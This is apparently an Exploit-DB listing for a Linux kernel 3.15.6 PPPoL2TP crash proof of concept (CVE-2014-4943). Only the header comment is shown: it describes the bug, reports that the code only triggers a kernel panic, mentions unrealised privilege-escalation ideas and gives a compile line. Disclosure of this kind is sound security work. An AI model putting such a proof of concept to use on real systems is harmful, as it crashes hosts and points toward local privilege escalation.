Linux Kernel 3.15.6 - PPP-over-L2TP Socket Level Handling Crash (PoC)

EDB-ID:

36267

Type:

dos

Platform:

Linux

Published:

/* ----------------------------------------------------------------------------------------------------
 * cve-2014-4943_poc.c
 * 
 * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure 
 * differences between an l2tp socket and an inet socket. 
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges.
 * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland.
 * If seems guys at immunuty found a way using race condition.
 *
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c
